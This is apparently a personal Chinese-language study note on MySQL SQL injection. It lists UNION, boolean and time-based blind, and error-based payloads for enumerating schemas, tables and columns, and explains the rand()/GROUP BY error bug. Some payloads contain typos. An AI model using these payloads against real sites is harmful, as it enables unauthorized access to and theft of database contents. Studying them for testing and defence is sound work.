SQL 注入
#数据库名:
SELECT database();
SELECT schema_name FROM information_schema.schemata;
union 查询
#表名:
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
#列名:
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
盲注
#表名:
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
#基于页面的盲注 (二分, Left P Right)
id=IF(ascii(substring((select concat(table_name)from information_schema.tables where table_schema%3ddatabase() limit 0,1),"+str(i)+",1))>="+hex(P)+",nayihua,chutianzuolesha)"
IF( TF, one, the other) #T => one, F=> the other one,the other is web
TF = ascii(char) >= hex(P)
char = substring( point,str(i),1)
point = ( limit 0,1 ) #limit 用来限制一行
#limit x, y, 从 id=x+1 开始 y 排, limit y 从 id=1 开始 y 排
#基于时间的盲注 (二分, Left P Right)
IF( TF, sleep(3), 0) #T => sleep(3), F => 0 # 3s 和 0s 有很大区别,比较好检验
res = requests.get/post()
sec = res.elapsed.seconds #elapsed.seconds is a func of requests 用于算响应时间 elapse 逝去,过去
#具体定义:发送请求和响应到达之前耗费的时间差
if sec > 2: T
else: F
#列名:
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
#基于页面的盲注
id=IF(ascii(substring((select group_concat(column_name)from information_schema.columns where table_schema%3ddatabase() and table_name%3d0x6E697869627578696875616E68696E617461 limit 0,1),"+str(i)+",1))>="+hex(P)+",nayihua,chutianzuolesha)"
报错注入
#表名:
1.AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
2.AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)))
3.AND UPDATEXML(1, CONCAT(0X7e, (SELECT table_name FROM information_schema.tables LIMIT1)))
#这是三种报错注入的办法,但是下面两种只能适用于32位
and (select 1 from (select count(*), concat(floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
#拿一个实际例子来看, 我个人偏好下面写的那种更通用的报错注入
and(select 1 from (select count(*), concat((select(select(select concat(0x7e7e, count(distinct table_shema), 0x7e7e)from information_schema.tables))from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a) --+
#逐层分解 (只分析第一种)
select 1 from ( select A, (B)x from information_schema.tables group by x) a --+
A = count(*) #函数用于计数,这里用来构造报错语句中的键值对
B/x = concat((select(select(query) from information_schema.tables limit 0,1),floor(rand(0)*2))
# 里层那个select: select ()from xxx limit n, 1 查询是 id=n+1 个库的表
# 外层那个select: select (), floor(rand(0)*2)
# 这里注意一下,floor(rand(0)*2) floor()是向下取整, rand(0)*2是伪随机,为 011 的循环
# 这里只能写 rand(0)*2 不能写 rand()*2 这样可能报错,可能不报错
query = select concat(0x7e7e, 表数, 0x7e7e) from information_schema.tables
#列名:
-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
我对于报错注入这里的原理,大致说明如下:
首先我们来看一下,利用是 MySQL 的哪一个 bug 报错 : 8652 group by part of rand() returns duplicate key error. 这是一个关于 rand() 报错返回可利用信息,从而达到获取敏感信息的方法
提到关于 rand() 的报错,我们来了解一下 rand()
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times 大致意思就是:每一次 WHERE 执行时,RAND() 就会再次被计算,你不能在 ORDER BY 语句中,运用 RAND() 的值作为列, 因为 ORDER BY 将多次计算该列
- 意思差不多就是, RAND() 和 ORDER BY 一起用,这样会报错,因此同样也不能和 GROUP BY 一起用,就会报错,因而产生敏感信息。
之后弄得更透彻之后再更新一下,以下的报错注入的具体原理的都是我查找资料时,看到测试比较好的,若是有大牛搞懂了,或者本来就懂,愿不吝赐教,或是文章有什么地方有误,愿闻其详
参考资料:
SQL注入:
报错注入模板和粗略的解释:
报错注入具体原理:
http://blog.51cto.com/wt7315/1891458
http://blog.csdn.net/qq_35544379/article/details/77453019
https://www.n0tr00t.com/2014/11/16/error-based-sql-injection.html
reuqests 库中 elapse 函数的研究: